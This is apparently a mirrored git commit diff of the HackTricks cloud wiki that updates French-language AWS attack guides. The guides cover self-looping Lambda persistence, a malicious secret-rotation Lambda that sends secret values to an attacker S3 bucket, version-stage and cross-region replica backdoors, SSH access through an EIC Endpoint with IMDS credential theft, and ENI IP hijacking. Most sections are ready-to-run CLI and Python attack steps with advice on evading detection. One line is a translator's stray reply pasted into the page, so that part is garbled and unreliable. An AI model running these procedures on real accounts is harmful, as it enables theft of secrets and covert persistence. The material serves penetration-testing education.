mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-21 23:00:44 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
File diff suppressed because one or more lines are too long
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une function se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la recursion config sur Allow les réactive. Les Destinations livrent côté service pour les async invokes, donc un seul invoke initial crée un canal discret de heartbeat/backdoor sans code. En option, bridez avec reserved concurrency pour garder le bruit faible.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la config Recursion sur Allow les réactive. Les Destinations livrent côté service pour les invocations async, donc une seule invocation initiale crée un canal furtif de heartbeat/backdoor sans code. Optionnellement, limitez avec reserved concurrency pour maintenir le bruit faible.
|
||||
|
||||
## Requirements
|
||||
Remarques
|
||||
- Lambda n'autorise pas la configuration de la fonction pour qu'elle soit directement sa propre destination. Utilisez un function alias comme destination et autorisez l'execution role à invoke cet alias.
|
||||
- Permissions minimales : capacité à lire/mettre à jour l'event invoke config et la recursion config de la fonction cible, publier une version et gérer un alias, et mettre à jour la execution role policy de la fonction pour autoriser lambda:InvokeFunction sur l'alias.
|
||||
|
||||
## Exigences
|
||||
- Région: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
## Étapes
|
||||
|
||||
1) Obtenir l'ARN de la function et le paramètre Recursion actuel
|
||||
1) Obtenir l'ARN de la fonction et le paramètre Recursion actuel
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers lui-même)
|
||||
2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers soi‑même)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurer l'async destination vers l'alias (self via alias) et désactiver les retries
|
||||
4) Configurer la destination asynchrone vers l'alias (self via alias) et désactiver les réessais
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Bridage furtif optionnel
|
||||
8) Limitation discrète optionnelle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Nettoyage
|
||||
Interrompre la boucle et supprimer la persistance.
|
||||
Interrompre la loop et supprimer la persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- Un seul async invoke entraîne Lambda à se réinvoquer continuellement sans ordonnanceur externe, permettant une persistance discrète/heartbeat. Reserved concurrency peut limiter le bruit à une seule warm execution.
|
||||
- Un seul async invoke provoque que Lambda se ré-invoke continuellement sans ordonnanceur externe, permettant une persistence/heartbeat furtive. Reserved concurrency peut limiter le bruit à une seule warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,13 +12,13 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
Il est possible d'**accorder l'accès aux secrets à des comptes externes** via resource policies. Consultez la [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**.
|
||||
Il est possible d'**accorder l'accès aux secrets à des comptes externes** via des resource policies. Consultez la [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe aura également **besoin d'accéder à la clé KMS qui chiffre le secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
Pour **rotate secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** vers lui-même.
|
||||
Pour **faire la rotation des secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** vers lui-même.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
Voici à quoi pourrait ressembler le code d'une Lambda pour une telle action :
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,34 +48,28 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Remplacer la rotation Lambda par une attacker-controlled function via RotateSecret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Remplacer la Lambda de rotation par une fonction contrôlée par l'attaquant via RotateSecret
|
||||
|
||||
Abuser de `secretsmanager:RotateSecret` pour lier à nouveau un secret à une Lambda de rotation contrôlée par l'attaquant et déclencher une rotation immédiate. La fonction malveillante exfiltre les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un point d'exfiltration contrôlé par l'attaquant (par ex., S3 ou HTTP externe).
|
||||
Abuse `secretsmanager:RotateSecret` pour réaffecter un secret vers une attacker-controlled rotation Lambda et déclencher une rotation immédiate. La fonction malveillante exfiltrates les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un attacker sink (par ex., S3 ou HTTP externe).
|
||||
|
||||
- Prérequis
|
||||
- Autorisations : `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sur la Lambda de l'attaquant, `iam:CreateRole/PassRole/PutRolePolicy` (ou AttachRolePolicy) pour provisionner le rôle d'exécution de la Lambda avec `secretsmanager:GetSecretValue` et de préférence `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (afin que la rotation continue de fonctionner), KMS `kms:Decrypt` pour la clé KMS du secret, et `s3:PutObject` (ou egress sortant) pour l'exfiltration.
|
||||
- Un SecretId cible (`SecretId`) avec la rotation activée ou la capacité d'activer la rotation.
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sur la attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (ou AttachRolePolicy) pour provisionner le rôle d'exécution Lambda avec `secretsmanager:GetSecretValue` et de préférence `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (pour que la rotation continue de fonctionner), KMS `kms:Decrypt` pour la clé KMS du secret, et `s3:PutObject` (ou egress sortant) pour l'exfiltration.
|
||||
- Un SecretId cible (`SecretId`) avec rotation activée ou la capacité d'activer la rotation.
|
||||
|
||||
- Impact
|
||||
- L'attaquant obtient la ou les valeurs du secret sans modifier le code de rotation légitime. Seule la configuration de rotation est modifiée pour pointer vers la Lambda de l'attaquant. Si cela n'est pas détecté, les rotations programmées futures continueront d'invoquer la fonction de l'attaquant.
|
||||
- The attacker obtient la(les) valeur(s) du secret sans modifier le code de rotation légitime. Seule la configuration de rotation est modifiée pour pointer vers la attacker Lambda. Si cela n'est pas détecté, les rotations programmées futures continueront à invoquer la fonction de l'attacker.
|
||||
|
||||
- Étapes de l'attaque (CLI)
|
||||
1) Préparer le point d'exfiltration de l'attaquant et le rôle Lambda
|
||||
- Créer un bucket S3 pour l'exfiltration et un rôle d'exécution approuvé pour Lambda avec les autorisations pour lire le secret et écrire dans S3 (plus logs/KMS selon besoin).
|
||||
2) Déployer la Lambda de l'attaquant qui, à chaque étape de rotation, récupère la ou les valeurs du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et le promouvoir dans finishSecret pour maintenir le service en bon état.
|
||||
- Étapes d'attaque (CLI)
|
||||
1) Préparer attacker sink et le rôle Lambda
|
||||
- Créer un bucket S3 pour l'exfiltration et un rôle d'exécution trusted by Lambda avec les permissions pour lire le secret et écrire dans S3 (plus logs/KMS si nécessaire).
|
||||
2) Déployer la attacker Lambda qui à chaque étape de rotation récupère les valeur(s) du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et la promouvoir dans finishSecret pour garder le service opérationnel.
|
||||
3) Réaffecter la rotation et déclencher
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Vérifier l'exfiltration en listant le préfixe S3 pour ce secret et en inspectant les artefacts JSON.
|
||||
5) (Optionnel) Restaurer la Lambda de rotation d'origine pour réduire la détection.
|
||||
5) (Optionnel) Restaurer la rotation Lambda originale pour réduire la détection.
|
||||
|
||||
- Exemple de Lambda attaquante (Python) exfiltrant vers S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Exemple attacker Lambda (Python) exfiltrating vers S3
|
||||
- Environnement: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
@@ -102,16 +96,16 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking pour persistance discrète (stage personnalisé + basculement rapide AWSCURRENT)
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Exploitez les labels de staging de version de Secrets Manager pour implanter une version de secret contrôlée par l'attaquant et la garder cachée sous un stage personnalisé (par exemple, `ATTACKER`) tandis que la production continue d'utiliser l'`AWSCURRENT`. À tout moment, déplacez `AWSCURRENT` vers la version de l'attaquant pour empoisonner les workloads dépendants, puis restaurez-le pour minimiser la détection. Cela fournit une persistance backdoor discrète et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la configuration de rotation.
|
||||
Abuse Secrets Manager version staging labels pour implanter une version de secret contrôlée par l'attaquant et la garder cachée sous un stage personnalisé (par exemple, `ATTACKER`) tandis que la production continue d'utiliser l'original `AWSCURRENT`. À tout moment, basculer `AWSCURRENT` vers la version de l'attaquant pour empoisonner les workloads dépendants, puis le restaurer pour minimiser la détection. Cela fournit une persistence backdoor discrète et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la config de rotation.
|
||||
|
||||
- Exigences
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (pour vérification)
|
||||
- ID du secret cible dans la région.
|
||||
- Autorisations: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (pour vérification)
|
||||
- ID du secret cible dans la Région.
|
||||
|
||||
- Impact
|
||||
- Maintenir une version cachée et contrôlée par l'attaquant d'un secret et basculer atomiquement l'`AWSCURRENT` vers celle-ci à la demande, influençant tout consommateur résolvant le même nom de secret. Le basculement et la restauration rapide réduisent les chances de détection tout en permettant un compromis au moment de l'utilisation.
|
||||
- Maintenir une version cachée et contrôlée par l'attaquant d'un secret et basculer atomiquement `AWSCURRENT` vers celle-ci à la demande, influençant tout consommateur résolvant le même nom de secret. La bascule et le revert rapide réduisent les chances de détection tout en permettant une compromission au moment de l'utilisation.
|
||||
|
||||
- Étapes de l'attaque (CLI)
|
||||
- Préparation
|
||||
@@ -168,23 +162,23 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- Remarques
|
||||
- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme `VersionId`. L'ajout d'une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut et marque la précédente comme `AWSPREVIOUS`.
|
||||
- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme le `VersionId`. Ajouter une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut, et marque la précédente comme `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abuser de la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrôlée par l'attaquant dans cette Region, puis promouvoir la réplique en tant que secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accès en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accès durable et discret à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.
|
||||
Exploitez la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrôlée par l'attaquant dans cette Region, puis promouvoir la réplique en secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accès en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accès persistant et furtif à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.
|
||||
|
||||
- Prérequis
|
||||
- Autorisations : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Dans la replica Region : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`.
|
||||
- Un principal attaquant (utilisateur/rôle) devant recevoir l'accès en lecture au secret promu.
|
||||
- Permissions : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Dans la Region de la réplique : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`.
|
||||
- Un principal attaquant (user/role) devant recevoir l'accès en lecture au secret promu.
|
||||
|
||||
- Impact
|
||||
- Chemin d'accès persistant cross-Region à la valeur du secret via une réplique autonome sous une CMK KMS contrôlée par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste intact.
|
||||
- Chemin d'accès persistant inter-Region à la valeur du secret via une réplique autonome protégée par un CMK KMS contrôlé par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste inchangé.
|
||||
|
||||
- Attaque (CLI)
|
||||
- Vars
|
||||
- Variables
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Créer une KMS key contrôlée par l'attaquant dans la région répliquée
|
||||
1) Créer une clé KMS contrôlée par l'attaquant dans la région répliquée
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -211,14 +205,14 @@ aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECR
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Promouvoir la réplique en instance autonome dans R2
|
||||
3) Promouvoir la réplique en tant qu'instance autonome dans R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Attacher une politique de ressources permissive sur le secret autonome dans R2
|
||||
4) Attacher une politique de ressource permissive au secret autonome dans R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -226,9 +220,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Lire le secret depuis l'attacker principal dans R2
|
||||
5) Lire le secret de l'attacker principal dans R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuser EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accès SSH entrant vers des instances EC2 privées (sans IP publique/bastion) en :
|
||||
- Créer un EIC Endpoint dans le subnet cible
|
||||
- Autoriser SSH entrant sur le SG cible depuis le SG de l'EIC Endpoint
|
||||
- Injection d'une clé publique SSH éphémère (valide ~60 secondes) avec `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Ouvrir un tunnel EIC et pivoting vers l'instance pour voler les credentials de l'instance profile depuis IMDS
|
||||
Abuser de EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accès SSH entrant aux instances EC2 privées (sans IP publique/bastion) en :
|
||||
- Créant un EIC Endpoint dans le subnet cible
|
||||
- Autorisant le SSH entrant sur le SG cible depuis le SG de l'EIC Endpoint
|
||||
- Injectant une clé publique SSH éphémère (valide ~60 secondes) avec `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Ouvrant un tunnel EIC et pivotant vers l'instance pour voler les identifiants de l'instance profile depuis IMDS
|
||||
|
||||
Impact : chemin d'accès distant furtif vers des instances EC2 privées qui contourne les bastions et les restrictions d'IP publique. L'attaquant peut assumer l'instance profile et opérer dans le compte.
|
||||
Impact : chemin d'accès distant discret vers des instances EC2 privées qui contourne les bastions et les restrictions d'IP publique. L'attaquant peut assumer l'instance profile et opérer dans le compte.
|
||||
|
||||
## Exigences
|
||||
## Prérequis
|
||||
- Permissions pour :
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Créer un point de terminaison EIC
|
||||
## Créer un endpoint EIC
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -45,7 +45,7 @@ grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Autoriser le trafic de l'EIC Endpoint vers l'instance cible
|
||||
## Autoriser le trafic provenant de l'EIC Endpoint vers l'instance cible
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
@@ -79,7 +79,7 @@ ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Je n'ai pas reçu le contenu à traduire. Veuillez coller le texte du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ici.
|
||||
Je n'ai pas reçu le contenu du fichier. Veuillez coller le contenu de src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md que vous voulez que je traduise (je conserverai la syntaxe Markdown/HTML, les tags, chemins et mots réservés comme indiqué).
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Remarques
|
||||
> - La clé SSH injectée n'est valide qu'environ ~60 secondes ; envoyez la clé juste avant d'ouvrir le tunnel/SSH.
|
||||
> - La clé SSH injectée n'est valide que pour ~60 seconds ; envoyez la clé juste avant d'ouvrir le tunnel/SSH.
|
||||
> - `OS_USER` doit correspondre à l'AMI (par ex., `ubuntu` pour Ubuntu, `ec2-user` pour Amazon Linux 2).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,20 +2,20 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` pour voler l'IP privée secondaire d'une ENI victime et la déplacer vers une ENI attaquante dans le même subnet/AZ. De nombreux services internes et groupes de sécurité restreignent l'accès à des adresses IP privées spécifiques. En déplaçant cette adresse secondaire, l'attaquant usurpe l'hôte de confiance au niveau L3 et peut atteindre des services allowlisted.
|
||||
Abuser de `ec2:UnassignPrivateIpAddresses` et `ec2:AssignPrivateIpAddresses` pour voler l'IP privée secondaire d'un ENI victime et la déplacer vers un ENI attaquant dans le même subnet/AZ. De nombreux services internes et security groups restreignent l'accès à des IP privées spécifiques. En déplaçant cette adresse secondaire, l'attaquant usurpe l'hôte de confiance au niveau L3 et peut atteindre des services allowlistés.
|
||||
|
||||
Prérequis :
|
||||
- Autorisations : `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sur l'ARN de l'ENI victime, et `ec2:AssignPrivateIpAddresses` sur l'ARN de l'ENI attaquante.
|
||||
- Les deux ENI doivent être dans le même subnet/AZ. L'adresse ciblée doit être une IP secondaire (la primaire ne peut pas être désassignée).
|
||||
Prérequis:
|
||||
- Permissions : `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sur l'ARN de l'ENI victime, et `ec2:AssignPrivateIpAddresses` sur l'ARN de l'ENI attaquant.
|
||||
- Les deux ENIs doivent être dans le même subnet/AZ. L'adresse cible doit être une IP secondaire (l'IP primaire ne peut pas être désassignée).
|
||||
|
||||
Variables :
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Étapes :
|
||||
Étapes:
|
||||
1) Choisir une IP secondaire de l'ENI victime
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
@@ -25,15 +25,15 @@ export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Baseline : depuis l'instance attaquante, la requête vers PROTECTED_HOST doit échouer sans usurpation de source (par ex., via SSM/SSH)
|
||||
3) État de référence : depuis l'attacker instance, la requête vers PROTECTED_HOST devrait échouer sans spoofed source (p.ex., via SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Désassocier l'IP secondaire de l'ENI de la victime
|
||||
4) Retirer l'IP secondaire de l'ENI de la victime
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Assignez la même IP à l'attacker ENI (sur AWS CLI v1, ajoutez `--allow-reassignment`)
|
||||
5) Attribuer la même IP à l'ENI de l'attaquant (sur AWS CLI v1 ajoutez `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
@@ -41,10 +41,11 @@ aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --pri
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Depuis l'instance attacker, source-bind sur la hijacked IP pour atteindre le protected host (vérifiez que l'IP est configurée sur l'OS ; si ce n'est pas le cas, ajoutez-la avec `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
7) Depuis l'instance attaquante, source-bind sur la hijacked IP pour atteindre l'hôte protégé (assurez-vous que l'IP est configurée sur l'OS ; si ce n'est pas le cas, ajoutez-la avec `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- Contourner les IP allowlists et usurper des hôtes de confiance au sein du VPC en déplaçant des secondary private IPs entre des ENIs dans le même subnet/AZ.
|
||||
- Accéder à des services internes qui restreignent l'accès selon des specific source IPs, permettant lateral movement et l'accès aux données.
|
||||
- Contourner les listes d'autorisation d'IP et usurper des hôtes de confiance au sein du VPC en déplaçant les IP privées secondaires entre des ENIs dans le même subnet/AZ.
|
||||
- Atteindre des services internes qui contrôlent l'accès par des IP source spécifiques, permettant un mouvement latéral et l'accès aux données.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Après avoir téléchargé les images vous devriez **les vérifier pour des informations sensibles**:
|
||||
Après avoir téléchargé les images, vous devez **les vérifier pour des informations sensibles** :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
